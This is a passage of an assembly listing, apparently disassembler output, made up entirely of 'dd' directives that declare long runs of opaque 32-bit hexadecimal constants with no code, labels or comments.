0E154F9E8h, 7DFE7020h dd 0E69FFE00h, 4BBBAE75h, 0CEC10010h, 0A6928AA9h, 59F44AA3h dd 8B41D800h, 2425E790h, 9BE60FA8h, 7087E9F0h, 0BBDE54DBh dd 19D01C0h, 5DBB06E3h, 0F8A34F93h, 0ECC17F1Ch, 47649170h dd 801500FEh, 69361D6Eh, 337405A6h, 6C211A60h, 0ED15F6h dd 35D10B28h, 49E7F4F0h, 0E9C09200h, 5DC8EE7Dh, 1813604Bh dd 38D0AA27h, 7B11AEA0h, 4803E090h, 0C63C0EFCh, 0A02010F9h dd 20616F24h, 0CF54BDEBh, 0E184A883h, 5F2301F7h, 2B499610h dd 0AC099848h, 170F0121h, 0AF1F24h, 0EDC73663h, 570022C9h dd 908243E9h, 0FE5A6588h, 20C92D3h, 0F4E87E1Fh, 0EC812E67h dd 0D14AA641h, 96303426h, 8DE8561Fh, 7B078A03h, 3724A99Bh dd 2802DB21h, 0E83F3089h, 5667FB11h, 7D803988h, 6C32E857h dd 8AC0F1Fh, 9E812F37h, 431677A4h, 6A908B94h, 79000EC6h dd 823E5C3h, 0ADA578h, 0D344FF6Dh, 2A17915Ch, 2D9D5800h dd 92EA4A07h, 889DA095h, 68110040h, 0C332664Bh, 0B60081B2h dd 0D63998C2h, 0EA5B130Fh, 0EA633999h, 970A6D80h, 9FF47D5Ah dd 5742B00Bh, 80F1800Ch, 42268AAh, 6F398E6Bh, 8BF6C0F8h dd 0A90072FCh, 0D51AD862h, 1CBA0AFAh, 0A6795CB0h, 0B64A30EAh dd 0B81E8F5Dh, 164B067Eh, 0A01F0398h, 0A03E870Ch, 24B9A1FBh dd 0D42D008Fh, 0F0F509BCh, 0C407E068h, 0ECDD2ACCh, 1CF0B47h dd 0A8BC2707h, 0D60430A1h, 94F17118h, 0DD0410h, 4BE52B0Eh dd 0A1554377h, 960057FCh, 296FD1FCh, 1921E2DEh, 29318804h dd 446E08B3h, 0DD44ADC5h, 0FF054477h, 44363D44h, 5084C191h dd 845B284Fh, 29DF8AB0h, 31C42421h, 11418729h, 5911AB9Ch dd 455D10DAh, 3E438048h, 8BA9E888h, 9E9C40FCh, 90B51D3Bh dd 90A700CDh, 0DB976D8Ch, 21000543h, 4A917006h, 117C036h dd 673593BFh, 0EC14C70Fh, 310197B8h, 1FC4CAABh, 1D6075C8h dd 0AC5B0018h, 0EE5849A2h, 0C900830Dh, 0CD6EDEE0h, 3AF236E1h dd 0BB06B23Fh, 0B4048985h, 2B41F09h, 49EB8061h, 0B2A381h dd 0F7DBEA3Ch, 0C0FCE9D4h dd 8B3D1902h, 0C12CF825h, 0D0F06286h, 0CC200752h, 0B0E86CFAh dd 5C9DE070h, 95B5100h, 0DA8BDC77h, 619F605Ah, 45111C4Dh dd 70117860h, 43558Bh, 0F14AF267h, 0AEDDCB9Bh, 3C486F60h dd 5403B31h, 323D6A1Dh, 0E076C78Eh, 2D9E0A0Fh, 7F48DD00h dd 4CD3A9A6h, 35E61EEAh, 0E9C44015h, 0AC1DF204h, 8E4F4D00h dd 0C6E0ED80h, 254A2420h, 116B8168h, 0F531D022h, 9BCF30E5h dd 0A30C8000h, 0F918F116h, 0B71500B0h, 0B8521971h, 0E6006663h dd 266D3598h, 744C78h, 0D0659715h, 0B4D80820h, 2A00ED74h dd 1D92AC21h, 64FFA8Bh, 44A687FDh, 0CC001825h, 3DCA187Ah dd 789DDFh, 2B24AA4h, 20C9A6C7h, 8C06D124h, 42E24680h dd 269710Dh, 7C66A22Eh, 9C80B0F6h, 0C6B63112h, 9DD9F000h dd 3F012342h, 32D3A38h, 8EAD321Eh, 66E078C0h, 926AD1D6h dd 0F061013Ah, 5940C400h, 0A63154F8h, 0E05A00DDh, 45B014CAh dd 0C000D9B7h, 0A26F1D6Bh, 0AECDBCh, 0E80172FBh, 87D260FFh dd 9D9A5D50h, 7877851Dh, 65A09680h, 7B5AACDAh, 378C1FEBh dd 1E21C049h, 5EB24344h, 0B8BA5730h, 62ADF5h, 307B19B9h dd 73CBAAB6h, 92EE5F1Ch, 0D5FBCF40h, 0F484EBDFh, 0DD40034h dd 0D023DC59h, 0C2006494h, 0B78860F7h, 13040BEFh, 0F5EA3Dh dd 0A8F2978Bh, 66008AACh, 0B89C0637h, 0FFB9C7h, 0CEA7A6Dh dd 0C2F00342h, 0D274E100h, 443FA8BBh, 11FD006Ch, 53AD7C57h dd 0F7072E42h, 0D4870A7Fh, 0FC5EF221h, 364C1DCh, 3CB09436h dd 2680E523h, 0AC388032h, 0FDEA8268h, 803EF76Fh, 0A84A6CAEh dd 0BB921F25h, 0AAC30B87h, 0C820C000h, 2300F807h, 9F8ED783h dd 0A209D1h, 6D26A25h, 50F69DDAh, 97043BE2h, 4FBFCEA3h dd 27293080h, 16860025h, 314AA86Ah, 0D60091FFh, 0ECA4FA60h dd 39EF5F6h, 2A9CA658h, 52F0637Ah, 210043C4h, 60490AEFh dd 9AA15ADh, 0A11B118Ah, 46CFB800h, 0EA00EE33h, 267EC9A8h dd 90D0269h, 0FF3E6FB6h, 220AE800h, 8B1F4974h, 0C68085AFh dd 0F53488C9h, 0A9270279h, 0BA5577C4h, 28085840h, 29F2D900h dd 0BBF41004h, 9FE213B0h, 80B61C52h, 3BEF3139h, 2E126355h dd 6C005B80h, 0E265CCB8h, 7B370448h, 806F8547h, 0B9D6CB14h dd 0BC9D5500h, 88161D25h, 15C7007Ch, 84296E71h, 0D60EB4D9h dd 0A0FDA407h, 80ACE704h, 6F760BB3h, 2854069Bh, 0E3033D2Ch dd 0D8DF49FEh, 3CFDDDACh, 2260353Ah, 6827886Ch, 1802F600h dd 0C9D034C7h, 2A50031Ah, 80472D42h, 0D58C1B80h, 13118E00h dd 0AC393318h, 0D3A102C5h, 3BB12C59h, 0CD8D6075h, 0F574F9h dd 4191735Ch, 2E728303h, 38D5B724h, 0C61E024h, 0BDE025E4h dd 0B307FF5h, 26CAEC6h, 0D65D7080h, 8E58ACB8h, 0BBE50372h dd 0F06E5641h, 0B18430h, 283B42C0h, 9757CB7Fh, 0D0003890h dd 87BC1AACh, 0BE8BE19h, 252E3779h, 1500145Ch, 9A8D8EFDh dd 7AF3008Bh, 344576DAh, 9C00EB52h, 3DC2C3B3h, 0D0792Eh dd 0F1726E49h, 7D618B67h, 0E2244000h, 8F044AEDh, 99774C5Eh dd 0B2A78000h, 0B340BD18h, 78853E1Fh, 200FA3CFh, 9D8B88Ch dd 72C6007Fh, 849D6E1Ah, 8E0A331Dh, 0A06566C9h, 0FBBBB401h dd 0C2704D95h, 64204C78h, 0C4D4F000h, 7EF75E2Dh, 92CB1C00h dd 367D0FC6h, 77251C6Fh, 1EBEDA2Ch, 247020C9h, 40DE14BCh dd 0FFBF4C80h, 245B6B5h, 10930E8Dh, 48431564h, 60A1C2A9h dd 80001760h, 43050B59h, 241B0295h, 11CB187h, 0C60AB69Ah dd 0B7D0CBB2h, 0CD0075FEh, 0E83A3E05h, 726EFAC2h, 60F65Ah dd 3F3D201Eh, 44E4D0DBh, 88733112h, 0ADCC9006h, 0E3113DA1h dd 0A7C181EEh, 206B91CAh, 0D83FF388h, 40E48013h, 5B8C7B14h dd 24AA1C9Bh, 6EAC3DAh, 8293370Ch, 16EB7088h, 5A21B900h dd 0E9EF497Ah, 7F5000C9h, 0B4C34DE8h, 4800A3E5h, 0C337735h dd 0F887B1CFh, 307B602Fh, 148CBCD8h, 36D9500h, 7484ACA9h dd 4A6100F2h, 0B140D159h, 0E1F435E3h, 5E07EE98h, 0A32D7918h dd 0A6BEBD90h, 0A1A0009Fh, 48CEC8A2h, 190192F6h, 8927A7AAh dd 0B5D853C2h, 0DBD07BAh, 61CF8CEAh, 303E0BA8h, 0D7041B34h dd 8A90D8FBh, 0A2DF8C0h, 35DF007Eh, 29B5AB05h, 7900D720h dd 26B7B4C8h, 0CDA4C3h, 197B4273h, 373ADA74h, 0B3D5C8C0h dd 383C66E9h, 76827E1Ah, 733B4856h, 862E8CA0h, 132824E4h dd 0CFA2C4AFh, 60E0C42Ch, 0A6DEC4A8h, 8A7DEB00h, 90AB9822h dd 3F9D0DEFh, 20C8B56Ch, 0CA16545Ch, 0FC00AFDBh, 198CA3ECh dd 0C2E2B3h, 161EEBCFh, 6B173B0Ah, 0B503BEFAh, 85703F5Bh dd 3A7000B8h, 98D30338h, 809A40FDh, 23164B00h, 0C7331132h dd 127A902Ah, 1483E4B1h, 0AB007C3Ch, 0A14B863Fh, 3C00CB91h dd 0E0730CB5h, 584A8375h, 2A00A810h, 46DD6A8Fh, 0C73911A5h dd 6BD28F87h, 0AAF0E060h, 0CEBACh, 0A71B154Ch, 51202E91h dd 60044B00h, 92F25A61h, 758B007Ah, 469078BAh, 0E432EE58h dd 0E043B8E1h, 0F79300h, 686F056Ah, 0A1A9DF61h, 5ACA810Fh dd 72028015h, 2E63CF31h, 2443D975h, 69430A0Eh, 0EB6F0F08h dd 17F41100h, 7E02C7A5h, 98A7A6B7h, 8868E8E5h, 2E6C98E4h dd 3CFC6B47h, 0EA3C2D05h, 410C878Dh, 41B3BC25h, 3086FE8Ch dd 3C007AB4h, 64B55FD2h, 0EF37179h, 0EC5C097Eh, 5F4AF4C7h dd 6A49A280h, 1E0059B8h, 343918ACh, 0A3A9C1h, 862CB419h dd 676D21D8h, 613B30Ch, 0B77285Ah, 438AB235h, 82362C85h dd 46C07CE8h, 0C7130ACAh, 5202D069h, 804873A4h, 0AF4187E6h dd 0FB21003Fh, 0A959BF1Dh, 1B00B851h, 8EB9AE11h, 1580A66h dd 4441E22Dh, 600C8207h, 3100AAF0h, 0B0A6F530h, 49C7BE1Ch dd 0FD125097h, 0C84421ACh, 3C8C205Fh, 6701EB00h, 0E434C207h dd 2725001Dh, 1AD0659Dh, 5B38C741h, 30E6AC60h, 24ECB980h dd 17B1D3ADh, 329E20h, 4D371AB0h, 76005D02h, 0BC0ABE0Ch dd 49432Dh, 8D10363Fh, 341A1D8Ah, 26CD3Fh, 4DFDAEDBh, 5487BF2h dd 0FBA0E25Eh, 0F0B50373h, 0FEC8AD56h, 1902158Ah, 22B59B63h dd 4081E2BBh, 2EBDB2ECh, 96B02CAh, 4C008820h, 0B867EB8Bh dd 62B75500h, 50F544DDh, 19B90BA3h, 0CC84A2C7h, 0A5CCC095h dd 8A00969Eh, 93885948h, 1782399Ch, 7350458h, 41F6298h dd 7894C16Ch, 1459C0DAh, 0D9B1753Fh, 20462528h, 3C20EB00h dd 0A72A3A4Fh, 3B804038h, 0E012859Eh, 47E073F4h, 0E48EB300h dd 0D9EEA55Ah, 0FB2D3929h, 3CEADB80h, 480B1330h, 80AC943Dh dd 0E77AFC2Eh, 0EC893515h, 9FAA00E1h, 0F137280h, 0B00010CBh dd 0B595BBA5h, 7B5B4986h, 5371007Ah, 34076E51h, 77301597h dd 0B072D8ECh, 0D3E442h, 2A69EC9h, 76486507h, 9395C00Bh dd 1E00036h, 497B31h, 9809CAA3h, 891BE615h, 13EB631Fh dd 54A9406Eh, 0C0666780h, 0F2D9833Dh, 14A300A6h, 37890630h dd 9D0E6B49h, 0E077CF01h, 6163341Fh, 439501C9h, 0D05A8160h dd 3996C444h, 25C07D07h, 0BD047F22h, 1C902C85h, 0EBFFCC5h dd 0E205D0A4h, 0A5F00180h, 2A0917E3h, 25D168h, 699F0D38h dd 20F40033h, 0BDA5877Eh, 6EE05783h, 401C2307h, 804B1D5Ch dd 96E242F8h, 14DC262Ch, 6A6F0EE0h, 68E3C660h, 2602DB57h dd 0F9C725D3h, 0E919606Bh, 21B20099h, 73A10BD8h, 0D024767Dh dd 0D10308B9h, 0D8DCABB0h, 22BB21h, 0B4384764h, 0CC13A5AFh dd 0E1F467Fh, 21800775h, 282C1DACh, 29DC00CEh, 0F0514002h dd 6D00C597h dd 0F367FC5Ch, 75EE57h, 0B6589B25h, 91F9C99Ch, 65B7FF1Ch dd 0C07AA7C7h, 8CC03295h, 2EA20DEEh, 9441EAAh, 5C90FF3Eh dd 9E1DA8CEh, 0DF80056Bh, 4E7EEC2h, 0CC620063h, 0E465697Ch dd 7201C081h, 0CE762682h, 0AC2D1208h, 0B4109200h, 0C5ADA8D5h dd 7ED1070Fh, 0A929420Dh, 0A7ACC01Ch, 0DBDD005Eh, 0D5BD2FCCh dd 0C1485D2Ah, 18AE1DB0h, 85BB3340h, 0C99447h, 5FE69F37h dd 51FE4631h, 22A2A90Bh, 0E7AC0165h, 0D2D4DB8Fh, 2417005Bh dd 0A5480306h, 6F0F80F4h, 40CEF8D3h, 0CEDF2FDh, 2D820386h dd 0E3D5B254h, 6D68D3D8h, 3837DB04h, 48D1B88Eh, 3A082524h dd 0B6D4A150h, 0A547FF00h, 2DC7CDFAh, 519F1EC6h, 6824C033h dd 0BBB9D685h, 290169F0h, 64DBCFA3h, 1C713102h, 49D820h dd 3D3A4062h, 70C0C94Ah, 0F34F0601h, 5F69565h, 2810E8h dd 0B4121FADh, 0E23DC8ABh, 600E8800h, 0E1DE828Bh, 7A115C6Dh dd 0A4E6187Fh, 952C9867h, 0A1F86F07h, 73C0BE29h, 0FB4C81h dd 691FD37Ch, 5C5D59A2h, 1CE14600h, 7D2D3A6Bh, 1E577410h dd 80DF5611h, 16ACD020h, 0F3006501h, 5291FA1Eh, 2C62E659h dd 0A65AA0h, 0BBA9FB5h, 1F5CB366h, 7BCB0030h, 95E8BED4h dd 9E67003Bh, 0B3A462Fh, 9300BB42h, 0EEB2EC2Bh, 1F9BAC6Ch dd 65CF918Ch, 45B3C485h, 8EABA2B4h, 0F4080920h, 0A128E05Dh dd 0EF711C58h, 38251620h, 0D1008C14h, 572E833Eh, 1682EF73h dd 0D9986C3h, 0C468A66Dh, 7400D379h, 0BC5063FDh, 90C644D8h dd 27A70EDh, 0FC87AE99h, 0F8E0EE24h, 0ED38BC14h, 2C6F8002h dd 0E9C01042h, 6E051D06h, 23BEC037h, 0AC5B1539h, 0E0428A12h dd 0E645201Ch, 9CD02F0Bh, 1F13B2h, 508C3C25h, 5A862056h dd 8E4F7C00h, 70658F9Ah, 30D71E9Bh, 4771C062h, 3FE23304h dd 805EB03Bh, 2BC4B951h, 0CD6699h, 18D1BFC2h, 6BF17E09h dd 0B03D1E00h, 0B65D4144h, 96BA00F7h, 31BB0EAEh, 0E504C7BDh dd 0DF639304h, 4626CB0h, 18B3843h, 0EEE1C044h, 0B901EC58h dd 0A3B58903h, 0E0F6F59Bh, 7EC26998h, 0BD580072h, 0B4A652D0h dd 90E003F7h, 0F591B717h, 0A3A21B00h, 53FC45h, 275C262Ch dd 111BA76h, 0DCAC7528h, 0D5649300h, 65558A35h, 669A0026h dd 5E843AD3h, 5017F68h, 3D52F457h, 7C31D891h, 71C5B3F8h dd 5B4300E6h, 0CCFADCF5h, 700010A3h, 457B918h, 291DB868h dd 11F87B2Ah, 0DE5207A7h, 8818A6h, 4D6C6F0Ch, 8005B05h dd 1DA50174h, 73EAC2h, 80F66DD8h, 90467D14h, 0C3AC4700h dd 969FB745h, 68BA0004h, 9A3B41C8h, 0ECA40F95h, 0B2F81A50h dd 0F388BA0Fh, 40A08B93h, 2541AB64h, 0D4074DBBh, 0D0F34427h dd 1F59DF38h, 45E60BB8h, 0FC99B600h, 1B8E6809h, 804700A4h dd 0AA230C48h, 4A0066E0h, 0C0DE9641h, 0E4524h, 56F3C592h dd 0F9237BC2h, 12161E00h, 9C43C47Eh, 5C057FB4h, 0D909A6AFh dd 0D7444Ah, 9BBAE067h, 0ACC31D35h, 0FD30808Dh, 9DE66FBFh dd 482CEF26h, 4460802Dh, 33F23AC5h, 0FBF68E74h, 0CB88079Bh dd 6500DD5Ah, 2AFE0A9h, 0EC018061h, 0B5E0C00Fh, 0CCDEFDACh dd 4AA22000h, 0C82B21B1h, 0FE0972ABh, 35D82816h, 0AC2300EEh dd 1AE8887Ch, 0FE4C4791h, 456D0051h, 0B50E3D61h, 0C32700EBh dd 309FE492h, 0D6008A64h, 0E35F2343h, 502B0Dh, 0EFB7B2F4h dd 0EB22A302h, 83BF7300h, 26FE7EC0h, 0BEF500B9h, 0E7EAE515h dd 0B839AD8Eh, 600771Ah, 0BAEB6130h, 0EE3E94DCh, 28150381h dd 9FF67C64h, 3758E0A8h, 7508D48h, 8BFDCED3h, 0F380A5D0h dd 28960911h, 1B80F724h, 0B0E0F229h, 4855DD00h, 0FA8586C9h dd 6C8100B1h, 2B531705h, 74005945h, 25AF4278h, 629A0Ah dd 0E587DC90h, 231E73DEh, 5A8A851Ch, 976A2687h, 0A5FFCA91h dd 0B8545820h, 8CA02E78h, 800B1DF4h, 72D9F3D4h, 690010EBh dd 52AED75Eh, 7BCB287Eh, 927D3DC3h, 0F265FE00h, 1679AFBFh dd 68FDD500h, 86943340h, 0AC78005Bh, 0B68FEFDAh, 0CC90B5E9h dd 0E8D4200h, 0E4388ED7h, 0E059004Ch, 4A84EF5Ch, 0B2712FB7h dd 0A4E9C43Fh, 981C7803h, 78F4D480h, 2C709h, 4899202Ah dd 0BB431251h, 0F39158h, 224A6CC2h, 217E83h, 5CE1BD30h dd 0CB51F9CEh, 8B03BB7Bh, 198050DBh, 0D978A01Ah, 556F147Fh dd 0D400D8B2h, 9926DEF1h, 0AD2AB02Ch, 0E05E8C8Ch, 147D409h dd 3034B75Ah, 1F26E4h, 5A14F917h, 91A18AC3h, 934F2406h dd 846940h, 8ED6B813h, 819AA564h, 5CB31212h, 54B2B805h dd 0D60E8C00h, 4CFF3C9Eh, 9609D863h, 700014D1h, 8AD9CA65h dd 9E01217Ah, 41266F74h, 4D04D54h, 2CE598FBh, 0AC772Bh dd 5AF0097Dh, 910770F4h, 0BA5E9D29h, 3A0C8930h, 0B420EDF5h dd 9271753h, 15BE0006h, 0F113842h, 1AA21450h, 19E56500h dd 0BEA19D32h, 0BE3EE52h, 73DA4921h, 2808C688h, 1D400CBh dd 9FD50D69h, 5600B77Dh, 783E0557h, 7DE86DB1h, 548E00A3h dd 443290A1h, 0A8016C2Eh, 0E44314BEh, 21F417C8h, 4B6B0713h dd 0BE248CEDh, 3366C580h, 542C348Eh, 0AA03C9CDh, 6BF6B5h dd 0B315CB84h, 0C149BFD3h, 1A6CD105h, 0E8018A7Ah, 0A192F17Bh dd 3AED3C20h, 0D3033679h, 98A73E03h, 402E981Fh, 6F75AC45h dd 49419680h, 544600DDh, 4A2F3A2Ch, 29002786h, 7DE7DB98h dd 424105Dh, 9B6FC66Ah, 0F6D8C0DDh, 0CD004C2Bh, 9E7F4DE9h dd 4F168213h, 7016E0h, 318B93D2h, 0F10ED1F2h, 40D7E12Fh dd 19AB788h, 3DD938A0h, 9481B5BDh, 79112A9Bh, 0D48CC70h dd 721EE6E8h, 71803F5Ch, 6DEB7BF2h, 150BA95h, 0F944DEFFh dd 789E8E20h, 41661C10h, 0DB0D0E3Dh, 0B04600ACh, 6FB60Bh dd 1D802D88h, 956E21CEh, 7BEF820Eh, 0ED71E045h, 23263Dh dd 60A94974h, 0CB4499C3h, 0B2288B8h, 6C9C5975h, 0F4A35100h dd 0EEF0C744h, 9400977Ch, 5C8D41Ch, 0BA0ECh, 0F8132D0Ah dd 0CEE517FBh, 57FA1B00h, 0DDE149D0h, 0B5D200C6h, 9EC47C51h dd 56027AA8h, 2653F940h, 0A952408Fh, 798001A3h, 9EF16FFBh dd 35883425h, 0E20E6700h, 3431ADA4h, 6E7C0640h, 31B71C4Fh dd 0CEF34500h, 0EA0D2C97h, 766F00B2h, 0CDA00E57h, 7901D5B7h dd 0D0AD82C1h, 0F8688E50h, 568C3B0Fh, 3EA10641h, 233570FFh dd 0DB912803h, 0DA42AC9Bh, 0B052406Fh, 87F100DFh, 45D9121Ch dd 0D4050341h, 23F4E606h, 64BF5C82h, 78FBF880h, 0ADC11C2Eh dd 44002F77h, 7CDF720Ah, 0E5418D04h, 48C00CB6h, 7E69A3h dd 2C18B2A6h, 8367E8E9h, 0D377F004h, 60C0907Fh, 0BC12A628h dd 0F5B16048h, 1F381E5Bh, 408580CFh, 472FA9AEh, 3EAA3A67h dd 0C8EBDD80h, 92BB6CF1h, 12E41400h, 0CF1C70C7h, 903F5006h dd 6EF00FFCh, 7A00A8C2h, 43E12949h, 8BC41412h, 9CEF0001h dd 52FC0A32h, 0E8AA04B8h, 0A8944C6Ch, 0E50912F8h, 0DE00A8A2h dd 0D87A533Fh, 0C10B60FFh, 48BEC533h, 623610h, 9C0BBC10h dd 0DB24DF37h, 616C9D05h, 9C00D92Bh, 91E9C5B6h, 5E04028Eh dd 631843EAh, 0A5DCDCC0h, 9C06A100h, 0F5138AA2h, 0C7AE0077h dd 5EEA62C4h, 3E008F52h, 0A6911E29h, 0E29A497Dh, 13B801B6h dd 7AD49D74h, 4D2860C5h, 0B5949700h, 0D2B0B31Fh, 2C3E4CAh dd 673AADDCh, 0B458C9A5h, 0F45AA72Eh, 0EBD1BE80h, 5CFB74EEh dd 0D600957Ah, 0CE5DF496h, 0F32E6D4Eh, 460178A7h, 16B306BAh dd 1182A1E9h, 2517B20Bh, 9DA88640h, 92008C98h, 48E5B16Bh dd 9563C37h, 2ED1E987h dd 70392C70h, 1406B18h, 684858A0h, 0C0C6C4h, 0BA3672D4h dd 0F7E5EE0Ch, 18258600h, 943558C7h, 2AA50059h, 8DA1323Fh dd 0AA031DFDh, 7B41E627h, 0A0B79037h, 0A3B51F90h, 0BA6CC0A9h dd 4E497518h, 4A000F7Bh, 61F5D604h, 7FCE73h, 243FBBFCh dd 5BDEE638h, 4B675D01h, 8BE82B55h, 3A4985D8h, 31665F7h dd 0E9990BD9h, 0C5029C89h, 6340581Fh, 0FB73512Ah, 9CF35D07h dd 64504F2Fh, 0B9A63Eh, 83984C9Fh, 126DDF49h, 26019B7Bh dd 0FDD1909Dh, 2DD01E89h, 0E6BFCCAh, 878BFB82h, 0D267BCC0h dd 0E24A3391h, 0D6B3C000h, 9CAEA95h, 0AB2F7581h, 68F0CC60h dd 8E3E8902h, 40DE6A1Bh, 3B104h, 0DB59368Bh, 45BF0FD2h dd 66379A0Ah, 950008DAh, 0CDDD6734h, 48C03010h, 73356031h dd 240044BCh, 4C0E8465h, 0ECE31B89h, 0BE0708Ah, 22009C51h dd 27D497B3h, 60A75C4Ch, 6F2E91ADh, 0B907E9B8h, 41ECD008h dd 4E400B47h, 0C19C7AA9h, 46E3BC58h, 4F518F28h, 4C162390h dd 0EFB0EF70h, 90608CEAh, 0DE889h, 729C77A6h, 574A3CBEh dd 429A8F00h, 0C9F2964Dh, 64ED487Ch, 97EB5006h, 608078E3h dd 1F73D1CFh, 290900BAh, 0D21DD254h, 7AF048h, 0F43E53EBh dd 0D08A1EEh, 0A958EC0Ah, 0F888547Ch, 0CC0448Ah, 0A51DB04Eh dd 0C2A9908Ch, 0C021D272h, 9B7FD1h, 0D7B61240h, 2F4DAB6Bh dd 986D8800h, 2507BF28h, 820607AAh, 609FD7D6h, 7BAE391Eh dd 9C0F3E98h, 0C09B6770h, 0C50BC7CAh, 0C2740E15h, 80DE45ABh dd 329F8284h, 500026CDh, 0D0CEB794h, 0FE53761h, 4D6C0125h dd 636BB587h, 0D8E8D4CCh, 271C773Fh, 8F24BB8Dh, 0D7C04018h dd 490C2423h, 0FF19412Ch, 0CBFD707Ah, 389C9619h, 21805409h dd 2A7B1479h, 0F90A040Dh, 963C05EBh, 0A02D510Fh, 698EED12h dd 455C137Bh, 0D5D8A4E5h, 0B0E03200h, 0F1CC15B1h, 18BF4A2h dd 51D2DFB4h, 83417F19h, 0FBDCA130h, 0F0180299h, 8B6FD8BBh dd 0F404B4A0h, 4C160266h, 50DC5F8h, 68FE08F7h, 10C6468h dd 2A67CC66h, 0F3EE5D7Bh, 0CD335018h, 4D7C69h, 8875627Eh dd 21B17F92h, 2CB3E301h, 941D2F9Bh, 58B8D6F4h, 0D4381DCBh dd 0AC8700F4h, 4CB59DF1h, 0A707BB6Bh, 936352B0h, 0C21D946h dd 0C0B58CA0h, 5C0084FAh, 0FC7DDA6Dh, 0C46696h, 80546F49h dd 4CAA6AB9h, 0E918B660h, 7447C1ABh, 3FD100F6h, 9714A4A7h dd 0CD0CF4C3h, 8EFFC24h, 20B16054h, 0F14DBC7h, 0EC2AE2A0h dd 6D574600h, 651ABD2Ch, 0F908011Ch, 0D5439B04h, 569887CAh dd 0B22695D2h, 900CF040h, 639F23Dh, 30F343BEh, 6430086Eh dd 9FF220D2h, 10673328h, 97A0FDC0h, 3210A266h, 4965523Bh dd 0A3901FACh, 0A9B59800h, 8693636Ah, 91DC44h, 0CAA5B66Fh dd 684AD1FDh, 0AF867317h, 0D960900h, 608946EBh, 0CC0960ACh dd 0F9005902h, 708FBFB4h, 14D2697Bh, 9C970E99h, 0FC8C72ECh dd 87F7075Eh, 60AF7B89h, 0EB0A71CEh, 0D83BB000h, 0CA7FC3Dh dd 0B8B407FEh, 0B0747646h, 22C258FAh, 445B5Ch, 39B39332h dd 1DA8AE1Ah, 4F47D74Ch, 0D49EED38h, 40E00448h, 0F4F92F54h dd 19C0461Ch, 0AE977D19h, 6474068Fh, 87CC898h, 86213B60h dd 0EB39775h, 555810C7h, 0C13E4061h, 0FAD9EC38h, 0D82BC300h dd 41480FB4h, 75A90171h, 2F91543Fh, 8B7880F1h, 7F68A546h dd 0E44400D9h, 0FB1EB63h, 0AD03C841h, 5C9EC570h, 93200146h dd 0EB9D395Dh, 23204E90h, 968D8278h, 0C6014C5Ch, 0E88015C1h dd 76CFD78Eh, 45F00BA4h, 0B8518830h, 0F2D37E75h, 28E1D84Bh dd 58816C97h, 71F3032Fh, 200138FAh, 28F9C42h, 3FD40FB0h dd 391468D5h, 80A211A4h, 8FAC977Bh, 72914344h, 738888h dd 0BEE9B097h, 723C5F87h, 77B79A2Eh, 2DD0CB15h, 0E2AB00C9h dd 1D14D0h, 0D849B99h, 54CCC224h, 1C8DE4A8h, 32F92907h dd 887B4Bh, 0E826F713h, 47F02EA0h, 7E024CA4h, 8C8FB597h dd 8B001664h, 3AEC9776h, 5949DBh, 874F1078h, 1C9E5379h dd 0A5AC1850h, 1A580300h, 0BA75A8D4h, 6DA3943h, 20168D98h dd 0C7140FBEh, 28A47D1Eh, 1F014C35h, 50BBF6C1h, 96EC8097h dd 9EA600A9h, 58DAF3Fh, 0F1E84D5Bh, 19019977h, 3C2CD85Ah dd 41807A3Ah, 0B22E07Bh, 0F401F737h, 0F39C4347h, 20AFFCh dd 40C83696h, 130F4080h, 6535FD4Eh, 8408BFD0h, 57FC5B6h dd 62648FC0h, 8C203CD0h, 9FE9777h, 83F68E06h, 0DB184820h dd 4C008A6Dh, 611D413Eh, 60387839h, 7173A196h, 8DFC4A05h dd 18F15C19h, 21807009h, 8705A8D3h, 8201F65Bh, 0B718989Bh dd 94407B9Ah, 481BFD5Ah, 6A074C3Bh, 0AAF77F83h, 25EAC0ACh dd 7C4782B7h, 0C02F8F00h, 158D9A59h, 8C89D51h, 575031A8h dd 0C924C640h, 0EB861C36h, 7118945Dh, 1F7BB0BAh, 80A56186h dd 5BA1F3E1h, 1300B1D6h, 393E8B10h, 544B3FA6h, 146B9490h dd 0ACAEC28Dh, 80009D23h, 7C8FAF97h, 31448664h, 97780079h dd 5A0F3ED2h, 425304DEh, 12C48DCh, 41134FCDh, 0C4CC9D2Fh dd 0B80948AFh, 43D17B01h, 306735CCh, 4B303130h, 0C799D97Dh dd 103EC16h, 94ADF102h, 24C3F076h, 0B3048DA4h, 0B0597E05h dd 48722882h, 8097092Ch, 0EAE20618h, 3E35F700h, 202E0FD7h dd 44D31B9Bh, 8244B937h, 0B2017F9Ch, 0C171565Ah, 6AD47D22h dd 72FDFC5Fh, 52E40358h, 8F17BFCDh, 51A3ABA9h, 2092FECh dd 0DE4331h, 9E9A3C99h, 2EB58AFBh, 97AB6801h, 7FBAB802h dd 0FC16F040h, 47780487h, 0D337CC3Fh, 890403ACh, 270943C9h dd 842094D4h, 3E53B49Eh, 730BC7Bh, 79468DB6h, 40282A67h dd 0B565AFF1h, 69F76030h, 0B3043996h, 80649873h, 41470508h dd 406EC475h, 0B60577D8h, 70870131h, 0D3CBFBEAh, 0E070A40Ah dd 85181008h, 421ABC32h, 7794ABB4h, 5AECCB0h, 8597B08h dd 89FB662Dh, 6090300h, 3F881A9Fh, 7EB1262Dh, 1E8308D0h dd 0E7FD4002h, 9EAC800Ah, 138ACA3h, 0FC518D0Eh, 8C6CC7CBh dd 71D5EBE8h, 0C4C100DDh, 0D840BC85h, 16782A03h, 28C090FCh dd 56FCD448h, 32B0A045h, 0C4998Eh, 99B4E272h, 0B9386467h dd 0CC3C86F2h, 6F02857h, 44457976h, 47008939h, 701A907Ch dd 0F33828h, 2D9872BDh, 354D18A4h, 6375DA00h, 0D20F6113h dd 0FCB4027Eh, 0D5379C91h, 0D8EBF083h, 0D7E47902h, 41CE79C7h dd 68366934h, 0F0C8310Ch, 6A266D29h, 1C1648E0h, 9C0E545Fh dd 0F1B220C4h, 0E82B2Ah, 65BDE486h, 42D895F8h, 225CDA4Ch dd 4A8EA98h, 0A9088371h, 9E8C072h, 0D0B0232h, 80487AAFh dd 0C7913C08h, 6090AA8Eh, 9E5E48Ch, 0ACCAB78Dh, 0E24E7407h dd 6A07654Ch, 7A4420D0h, 6A00173h, 0AC3B5332h, 0E1C1E7A2h dd 0AEA9804Ah, 0DE77EE28h, 13DF00CEh, 0A555BB07h, 0F1096A67h dd 20A39C40h, 43467064h, 37E1198Fh, 0C092E9C6h, 2B0091A2h dd 0A5857817h, 14BB9D8Eh, 94AD5FB8h, 71794A0Ah, 44023EC0h dd 0D48D57CDh, 0FB43B882h, 0E4441CC2h, 7F0F7246h, 7DC87005h dd 279C7C6h, 940576D5h, 2480C43Eh, 